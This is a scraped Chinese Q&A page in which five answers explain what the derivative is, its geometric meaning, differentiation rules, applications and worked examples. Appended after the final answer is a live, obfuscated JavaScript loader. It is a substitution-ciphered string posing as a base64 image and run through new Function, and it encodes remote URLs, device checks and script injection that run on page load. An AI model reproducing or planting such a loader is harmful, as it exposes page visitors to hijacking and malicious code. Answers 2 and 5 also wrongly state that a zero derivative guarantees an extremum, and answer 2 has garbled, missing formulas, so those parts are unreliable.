数学中导数的实质是什么?有什么实际意义和作用?

刚接触,不大理解,想知道学习它的意义
2024-11-18 03:45:49
推荐回答(5个)
回答1:

1、导数的实质:

导数是函数的局部性质。一个函数在某一点的导数描述了这个函数在这一点附近的变化率。如果函数的自变量和取值都是实数的话,函数在某一点的导数就是该函数所代表的曲线在这一点上的切线斜率。

导数的本质是通过极限的概念对函数进行局部的线性逼近。例如在运动学中,物体的位移对于时间的导数就是物体的瞬时速度。

2、几何意义:

函数y=f(x)在x0点的导数f'(x0)的几何意义:表示函数曲线在点P0(x0,f(x0))处的切线的斜率(导数的几何意义是该函数曲线在这一点上的切线斜率)。

3、作用:

导数与物理,几何,代数关系密切:在几何中可求切线;在代数中可求瞬时变化率;在物理中可求速度、加速度。

导数亦名纪数、微商(微分中的概念),是由速度变化问题和曲线的切线问题(矢量速度的方向)而抽象出来的数学概念,又称变化率。

扩展资料:

一、导数的计算

计算已知函数的导函数可以按照导数的定义运用变化比值的极限来计算。在实际计算中,大部分常见的解析函数都可以看作是一些简单的函数的和、差、积、商或相互复合的结果。只要知道了这些简单函数的导函数,那么根据导数的求导法则,就可以推算出较为复杂的函数的导函数。

二、导数与函数的性质

1、单调性

(1)若导数大于零,则单调递增;若导数小于零,则单调递减;导数等于零为函数驻点,不一定为极值点。需代入驻点左右两边的数值求导数正负判断单调性。

(2)若已知函数为递增函数,则导数大于等于零;若已知函数为递减函数,则导数小于等于零。

2、凹凸性

可导函数的凹凸性与其导数的单调性有关。如果函数的导函数在某个区间上单调递增,那么这个区间上函数是向下凹的,反之则是向上凸的。

如果二阶导函数存在,也可以用它的正负性判断,如果在某个区间上恒大于零,则这个区间上函数是向下凹的,反之这个区间上函数是向上凸的。曲线的凹凸分界点称为曲线的拐点。

参考资料来源:百度百科-导数

参考资料来源:百度百科-函数

回答2:

导数(Derivative)是微积分中的重要基础概念。当自变量的增量趋于零时,因变量的增量与自变量的增量之商的极限。在一个函数存在导数时,称这个函数可导或者可微分。可导的函数一定连续。不连续的函数一定不可导。导数实质上就是一个求极限的过程,导数的四则运算法则来源于极限的四则运算法则。

亦名纪数、微商,由速度变化问题和曲线的切线问题而抽象出来的数学概念。又称变化率。
如一辆汽车在10小时内走了 600千米,它的平均速度是60千米/小时,但在实际行驶过程中,是有快慢变化的,不都是60千米/小时。为了较好地反映汽车在行驶过程中的快慢变化情况,可以缩短时间间隔,设汽车所在位置s与时间t的关系为s=f(t),那么汽车在由时刻t0变到t1这段时间内的平均速度是[f(t1)-f(t0)]/[t1-t0],当 t1与t0很接近时,汽车行驶的快慢变化就不会很大,平均速度就能较好地反映汽车在t0 到 t1这段时间内的运动变化情况 ,自然就把极限[f(t1)-f(t0)]/[t1-t0] 作为汽车在时刻t0的瞬时速度,这就是通常所说的速度。一般地,假设一元函数 y=f(x )在 x0点的附近(x0-a ,x0 +a)内有定义,当自变量的增量Δx= x-x0→0时函数增量 Δy=f(x)- f(x0)与自变量增量之比的极限存在且有限,就说函数f在x0点可导,称之为f在x0点的导数(或变化率)。若函数f在区间I 的每一点都可导,便得到一个以I为定义域的新函数,记作 f',称之为f的导函数,简称为导数。函数y=f(x)在x0点的导数f'(x0)的几何意义:表示曲线l 在P0〔x0,f(x0)〕 点的切线斜率。一般地,我们得出用函数的导数来判断函数的增减性的法则:设y=f(x )在(a,b)内可导。如果在(a,b)内,f'(x)>0,则f(x)在这个区间是单调增加的。。如果在(a,b)内,f'(x)<0,则f(x)在这个区间是单调减小的。所以,当f'(x)=0时,y=f(x )有极大值或极小值,极大值中最大者是最大值,极小值中最小者是最小值。
导数的几何意义是该函数曲线在这一点上的切线斜率。

(1)求函数y=f(x)在x0处导数的步骤:
① 求函数的增量Δy=f(x0+Δx)-f(x0)
② 求平均变化率
③ 取极限,得导数。
(2)几种常见函数的导数公式:
① C'=0(C为常数函数);
② (x^n)'= nx^(n-1) (n∈Q);
③ (sinx)' = cosx;
④ (cosx)' = - sinx;
⑤ (e^x)' = e^x;
⑥ (a^x)' = a^xlna (ln为自然对数)
⑦ (Inx)' = 1/x(ln为自然对数)
⑧ (logax)' =(xlna)^(-1),(a>0且a不等于1)
补充一下。上面的公式是不可以代常数进去的,只能代函数,新学导数的人往往忽略这一点,造成歧义,要多加注意。
(3)导数的四则运算法则:
①(u±v)'=u'±v'
②(uv)'=u'v+uv'
③(u/v)'=(u'v-uv')/ v^2
(4)复合函数的导数
复合函数对自变量的导数,等于已知函数对中间变量的导数,乘以中间变量对自变量的导数--称为链式法则。
导数是微积分的一个重要的支柱。牛顿及莱布尼茨对此做出了卓越的贡献!

导数的应用

1.函数的单调性
(1)利用导数的符号判断函数的增减性
利用导数的符号判断函数的增减性,这是导数几何意义在研究曲线变化规律时的一个应用,它充分体现了数形结合的思想.
一般地,在某个区间(a,b)内,如果>0,那么函数y=f(x)在这个区间内单调递增;如果<0,那么函数y=f(x)在这个区间内单调递减.
如果在某个区间内恒有=0,则f(x)是常函数.
注意:在某个区间内,>0是f(x)在此区间上为增函数的充分条件,而不是必要条件,如f(x)=x3在内是增函数,但.
(2)求函数单调区间的步骤
①确定f(x)的定义域;
②求导数;
③由(或)解出相应的x的范围.当f'(x)>0时,f(x)在相应区间上是增函数;当f'(x)<0时,f(x)在相应区间上是减函数.
2.函数的极值
(1)函数的极值的判定
①如果在两侧符号相同,则不是f(x)的极值点;
②如果在附近的左侧,右侧,那么,是极大值或极小值.
3.求函数极值的步骤
①确定函数的定义域;
②求导数;
③在定义域内求出所有的驻点,即求方程及的所有实根;
④检查在驻点左右的符号,如果左正右负,那么f(x)在这个根处取得极大值;如果左负右正,那么f(x)在这个根处取得极小值.
4.函数的最值
(1)如果f(x)在〔a,b〕上的最大值(或最小值)是在(a,b)内一点处取得的,显然这个最大值(或最小值)同时是个极大值(或极小值),它是f(x)在(a,b)内所有的极大值(或极小值)中最大的(或最小的),但是最值也可能在〔a,b〕的端点a或b处取得,极值与最值是两个不同的概念.
(2)求f(x)在[a,b]上的最大值与最小值的步骤
①求f(x)在(a,b)内的极值;
②将f(x)的各极值与f(a),f(b)比较,其中最大的一个是最大值,最小的一个是最小值.
5.生活中的优化问题
生活中经常遇到求利润最大、用料最省、效率最高等问题,这些问题称为优化问题,优化问题也称为最值问题.解决这些问题具有非常现实的意义.这些问题通常可以转化为数学中的函数问题,进而转化为求函数的最大(小)值问题.

回答3:

导数在数学中表示了函数在某一点上的变化率。它的实质可以理解为函数图像的局部线性逼近。

具体来说,对于给定的函数 f(x),其导数表示为 f'(x) 或 dy/dx 或 df/dx。导数的定义是通过极限来描述的,即:

f'(x) = lim(deltax→0) [f(x + deltax) - f(x)] / deltax

该定义表示当自变量 x 的增量 deltax 趋近于 0 时,函数值变化量 [f(x + deltax) - f(x)] 与 deltax 的比值的极限。这个比值即为函数在点 x 处的导数,它给出了函数图像在该点的切线斜率。

导数的实质可以从以下几个角度理解:

1.变化率

导数表示了函数在特定点上的变化率。对于线性函数,导数是常数,表示函数在任何一点上的变化率都相同;而对于非线性函数,导数则可以随着自变量的取值而发生变化。

2. 切线斜率

导数确定了函数图像在某点处的切线的斜率。切线是函数在该点附近最好的线性逼近,导数即为切线的斜率,表达了函数在该点的局部性质。

3. 梯度

对于多元函数,导数有时也被称为梯度。梯度表示了函数在特定点处的最大变化率和方向。它是一个向量,指向函数增长最快的方向。

通过导数,我们可以研究函数的极值、变化趋势、图像的凹凸性等重要性质。因此,导数在微积分和数学分析中扮演着重要的角色,对于理解和描述函数的行为至关重要。


导数的一些实际意义和作用

1. 变化率,导数表示了函数在给定点上的变化率。在物理学、经济学、工程学等领域,我们经常需要衡量某个量随着时间、空间或其他因素的变化速率。导数提供了一种量化变化率的方法,可以帮助我们理解和预测各种现象。

2. 极值和拐点,导数可以用来确定函数的极值点(最大值和最小值)以及拐点。在最优化问题中,我们常常需要找到使某个函数取得最大值或最小值的点,导数可以帮助我们找到这些关键点。

3. 切线和曲率,导数可以描述函数图像在某一点的切线斜率。切线是函数在该点的局部线性逼近,它可以提供关于函数在该点附近行为的信息。此外,导数还与曲率有关,曲率描述了曲线的弯曲程度,导数的变化可以反映曲线的凹凸性。

4. 积分和微分方程,导数与积分有密切的联系。微积分中的基本定理将导数和原函数(积分)联系起来,使得我们可以通过求导和求积分相互转换。导数还在微分方程中起着重要的作用,可以帮助我们解决许多自然科学和工程领域中的问题。

5. 斜率和速度,由导数给出的函数斜率可以应用于几何学中的直线和曲线的研究,并且在物理学中,它可以用于描述物体的速度。根据位置函数关于时间的导数,我们可以获得速度函数,进一步对其求导得到加速度。

总的来说,导数在数学和各个学科中发挥着重要的作用。它提供了对函数行为的深入理解,使我们能够研究和解决各种实际问题。


导数的求解方法

1.基本导数法则

基本导数法则是一组用于求解常见函数导数的规则,包括常数规则、幂规则、指数和对数规则、三角函数规则等。这些规则可以根据函数的性质和定义,直接应用于函数表达式,从而得到导数的表达式。

2. 限定增量法

限定增量法是一种通过极限来定义和求解导数的方法。根据导数的定义,我们可以计算函数在某个点上的导数,通过令增量趋近于零取极限的方式求解导数。这种方法适用于任意函数的导数求解,但可能需要一些数学推导和计算。

3. 高阶导数法

高阶导数是指连续求导多次后得到的导函数。通过多次应用导数的定义和导数法则,我们可以求解出函数的高阶导数。高阶导数可以用于描述更加复杂和精细的函数行为,例如曲率、凹凸性等。

4. 隐函数法

隐函数法适用于含有隐含关系的方程或函数。当无法直接解出函数关系式时,我们可以利用隐函数法求解导数。具体方法是将已知条件和方程代入导数定义或导数法则,通过对未知函数的导数进行求解,从而得到关于导数的方程,并求解出导数的值。

5. 数值逼近法

数值逼近法是一种使用数值方法来估算导数值的方法。常见的数值逼近方法包括有限差分法、牛顿商法等。这些方法通过在给定点处使用函数值的差分或二次项逼近来估算导数的值,适用于在计算机上进行数值计算和模拟的情况。


导数的例题

例题1:求函数 f(x) = 3x^2 - 2x + 1 在 x = 2 处的导数。

解答:

首先,我们可以根据基本导数法则来求解。对于多项式函数,其导数等于各项指数乘以系数,并降低一次指数。

f'(x) = 2 * 3x^(2-1) - 1 * 2x^(1-1) + 0

= 6x - 2

将 x = 2 代入得到导数的值:

f'(2) = 6 * 2 - 2

= 12 - 2

= 10

所以,函数 f(x) = 3x^2 - 2x + 1 在 x = 2 处的导数为 10。

例题2:求函数 g(x) = sin(2x) 在 x = π/4 处的导数。

解答:

这是一个三角函数的例子,我们可以利用三角函数的导数规则来求解。

根据三角函数的导数规则:d(sin(u))/dx = cos(u),其中 u 是一个函数表达式。

对于 g(x) = sin(2x),可以看成 u = 2x,所以 g'(x) = d(sin(u))/du * du/dx = cos(2x) * 2

将 x = π/4 代入得到导数的值:

g'(π/4) = cos(2 * π/4) * 2

= cos(π/2) * 2

= 0 * 2

= 0

所以,函数 g(x) = sin(2x) 在 x = π/4 处的导数为 0。

回答4:

  数学中导数的实质是瞬间变化率,在函数曲线中表示在某点切线的斜率,在物理位移时间关系中表示瞬时速度,在速度时间关系中表示瞬时加速度,在经济中可以表示边际成本。
  导数(Derivative)是微积分中的重要基础概念。当函数y=f(x)的自变量X在一点x0上产生一个增量Δx时,函数输出值的增量Δy与自变量增量Δx的比值在Δx趋于0时的极限a如果存在,a即为在x0处的导数,记作f'(x0)或df/dx(x0)。
  导数是函数的局部性质。一个函数在某一点的导数描述了这个函数在这一点附近的变化率。如果函数的自变量和取值都是实数的话,函数在某一点的导数就是该函数所代表的曲线在这一点上的切线斜率。导数的本质是通过极限的概念对函数进行局部的线性逼近。例如在运动学中,物体的位移对于时间的导数就是物体的瞬时速度。

回答5:

导数的实质是描述函数在某一点上的变化率或斜率。它衡量了函数在给定点附近的局部变化情况。

在数学中,给定一个函数,它的导数表示了函数在每个点上的变化速率。导数可以告诉我们函数在某一点上的斜率,即函数图像在该点处的切线的斜率。如果导数为正,表示函数在该点上递增;如果导数为负,表示函数在该点上递减;如果导数为零,表示函数在该点上取得极值。

导数的定义是通过极限来描述的。对于函数 f(x),它在某一点 x 处的导数可以通过以下极限定义计算:

f'(x) = lim(h->0) [f(x+h) - f(x)] / h

这个极限表示了当自变量 x 的增量 h 趋近于零时,函数 f(x) 在点 x 处的变化量与 h 的比值的极限。这个比值就是函数在点 x 处的斜率,也就是导数。

导数在数学和物理等领域中有广泛的应用。它可以用于优化问题、曲线绘制、速度和加速度的计算等。通过导数,我们可以了解函数在不同点上的变化情况,从而更好地理解和分析数学模型和现实世界中的变化过程。

导数在实际中有许多实际意义和作用,以下是其中几个重要的应用:

1. 变化率和斜率:导数可以用来描述函数在某一点上的变化率或斜率。例如,在物理学中,速度是位移对时间的导数,加速度是速度对时间的导数。这些导数可以帮助我们理解物体的运动和变化过程。

2. 极值点和拐点:导数可以帮助我们确定函数的极值点和拐点。通过求解导数为零的方程,我们可以找到函数的极大值和极小值点。这在优化问题中非常有用,例如在经济学中寻找成本最小化或利润最大化的点。

3. 函数图像和曲线绘制:导数可以用于绘制函数的图像和曲线。通过分析导数的正负和变化趋势,我们可以确定函数的增减区间和凹凸区间,从而绘制出函数的大致形状。

4. 切线和线性逼近:导数可以用来确定函数图像上某一点的切线。切线可以提供函数在该点附近的线性逼近,从而帮助我们估计函数在该点的值或进行近似计算。

5. 最速下降和最速上升:在优化问题中,导数可以帮助我们找到函数的最速下降和最速上升方向。这对于寻找最优解或确定最佳策略非常有用。

这只是导数在实际中的一些应用,实际上导数在数学、物理、经济学、工程学等领域都有广泛的应用。它提供了一种分析和理解函数变化的工具,帮助我们解决各种实际问题。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();